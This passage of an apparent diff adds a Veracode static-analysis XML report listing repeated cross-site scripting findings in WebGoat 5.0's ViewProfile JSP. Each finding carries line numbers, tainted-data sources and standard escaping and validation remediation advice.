+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"56\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"23\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"254\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"57\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"22\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"213\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"156\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"222\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"59\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"60\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"60\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"181\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"60\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"250\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"61\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"163\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"216\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"259\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"63\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"29\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"242\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
